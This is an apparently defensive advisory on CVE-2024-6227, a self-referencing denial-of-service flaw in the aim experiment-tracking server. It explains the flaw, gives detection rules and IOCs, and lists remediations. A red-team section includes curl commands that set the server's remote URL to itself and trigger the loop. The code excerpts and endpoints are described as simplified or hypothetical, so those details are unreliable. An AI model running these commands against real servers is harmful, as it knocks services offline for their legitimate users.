CVE-2024-6227

Executive Summary

CVE-2024-6227 is a high-severity denial-of-service (DoS) vulnerability in aimhubio/aim version 3.19.3. The flaw allows an unauthenticated attacker to trigger an infinite loop by configuring the remote tracking server to point at itself. This causes the server to exhaust resources by endlessly connecting to itself, rendering it unable to respond to legitimate connections. The vulnerability has a CVSS score of 7.5 (High) and is currently unpatched. No public exploit code or proof-of-concept is available, but the attack vector is straightforward and requires no authentication.

Supply Chain & Package Security

This vulnerability affects the Python package aim (PyPI). Organizations using this package in their ML/experiment tracking pipelines should immediately assess their exposure. Since the package is distributed via PyPI, supply chain risks include potential malicious forks or backdoored versions if the official repository remains unpatched. Users should pin versions and monitor for official patches.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
• Base Score: 7.5 (High)
• Attack Vector: Network (AV:N) – exploitable remotely.
• Attack Complexity: Low (AC:L) – no special conditions required.
• Privileges Required: None (PR:N) – no authentication needed.
• User Interaction: None (UI:N) – no user action required.
• Scope: Unchanged (S:U) – impact is confined to the vulnerable component.
• Confidentiality Impact: None (C:N) – no data exposure.
• Integrity Impact: None (I:N) – no data modification.
• Availability Impact: High (A:H) – complete denial of service.

Threat Level: High. The attack is trivial to execute and can cause immediate service disruption. The lack of authentication and low complexity make it attractive for botnets and automated scanners.

Deep Dive & Mechanics

The vulnerability resides in the remote tracking server component of aimhubio/aim. When the server is configured with a remote tracking endpoint that points to itself (e.g., http://localhost:53800 or the server's own IP), the server enters an infinite loop:

1. The server receives a request to track an experiment.
2. It attempts to forward the tracking data to the configured remote endpoint.
3. Since the remote endpoint is itself, the server sends a new request to itself.
4. This new request triggers the same forwarding logic, creating a recursive loop.
5. The server's resources (CPU, memory, network connections) are exhausted, preventing it from handling legitimate requests.

The root cause is the lack of loop detection or self-referencing checks in the remote tracking configuration. The server does not validate whether the remote endpoint is itself before attempting to forward data.

Vulnerable vs. Patched Code

Vulnerable Code (aim 3.19.3):

# In remote_tracking.py (simplified)
def forward_to_remote(data):
    remote_url = config.get("remote_tracking_url")
    # No check if remote_url points to self
    requests.post(remote_url, json=data)

Patched Code (hypothetical fix):

# In remote_tracking.py (patched)
def forward_to_remote(data):
    remote_url = config.get("remote_tracking_url")
    # Check if remote_url points to self
    if is_self_referencing(remote_url):
        log.warning("Self-referencing remote tracking URL detected. Skipping.")
        return
    requests.post(remote_url, json=data)

The patch would require adding a function is_self_referencing() that compares the remote URL against the server's own hostname, IP, and port. Without this check, the vulnerability persists.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running aim tracking server (version 3.19.3) on a target host.
• Network access to the server's tracking port (default: 53800).

Exploitation Steps:

1. Identify the target server's IP and port (e.g., 192.168.1.100:53800).
2. Send a crafted request to configure the remote tracking endpoint to point at itself:

   curl -X POST http://192.168.1.100:53800/api/config \
     -H "Content-Type: application/json" \
     -d '{"remote_tracking_url": "http://192.168.1.100:53800"}'
   

3. Trigger a tracking event (e.g., log an experiment):

   curl -X POST http://192.168.1.100:53800/api/track \
     -H "Content-Type: application/json" \
     -d '{"experiment": "test"}'
   

4. The server will enter an infinite loop, consuming resources and becoming unresponsive.

Alternative Attack Vector: If the server allows unauthenticated configuration changes via the API, the attacker can directly set the self-referencing URL. If not, the attacker may need to exploit another vulnerability to modify the configuration file.

Blue Team (Detection & Defense)

Detection:

• Monitor for rapid, repeated connections from the server to itself (loopback interface).
• Alert on high CPU/memory usage on the aim server process.
• Detect configuration changes to remote_tracking_url that point to localhost or the server's own IP.

Defense:

• Implement network segmentation to restrict access to the aim server's API.
• Use a Web Application Firewall (WAF) to block requests with self-referencing URLs.
• Apply rate limiting on the configuration endpoint.
• Monitor logs for repeated forward_to_remote calls with the same source and destination.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated connections from the aim server to its own IP/port (e.g., 192.168.1.100:53800 -> 192.168.1.100:53800).
  • High volume of loopback traffic on port 53800.
• System IOCs:
  • CPU usage of the aim process reaching 100%.
  • Memory exhaustion on the host.
  • Log entries showing repeated forward_to_remote calls with self-referencing URLs.
• File IOCs:
  • Configuration file (config.json or similar) containing "remote_tracking_url": "http://<self>".

Detection Engineering

YARA Rule

rule CVE_2024_6227_Aim_SelfRef {
    meta:
        description = "Detects self-referencing remote tracking URL in aim config files"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2024-6227"
    strings:
        $url_pattern = /"remote_tracking_url"\s*:\s*"http:\/\/[^"]*"/
        $self_ref = /http:\/\/127\.0\.0\.1|http:\/\/localhost|http:\/\/0\.0\.0\.0/
    condition:
        $url_pattern and $self_ref
}

Sigma Rule

title: CVE-2024-6227 - Aim Server Self-Referencing DoS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects configuration changes setting remote_tracking_url to self-referencing address
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: aim
detection:
    selection:
        EventID: "config_change"
        remote_tracking_url|contains:
            - "127.0.0.1"
            - "localhost"
            - "0.0.0.0"
    condition: selection
falsepositives:
    - Legitimate use of localhost for testing (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $HOME_NET 53800 (msg:"CVE-2024-6227 Aim Self-Referencing DoS Attempt"; flow:to_server; content:"remote_tracking_url"; http_client_body; content:"127.0.0.1"; distance:0; within:100; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Tracking: If remote tracking is not required, disable it in the configuration.
2. Restrict API Access: Use firewall rules to limit access to the aim server's API to trusted IPs only.
3. Monitor Configuration Changes: Implement logging and alerting for any changes to remote_tracking_url.

Long-Term Fix:

• Apply the official patch once released by aimhubio.
• In the interim, implement a reverse proxy (e.g., Nginx) that validates and blocks self-referencing URLs before they reach the aim server.
• Upgrade to a patched version when available.

Workaround:

• Manually add a check in the aim source code (if self-hosted) to reject self-referencing URLs.

Valters IT
DevSecOps & Cyber Threat Intelligence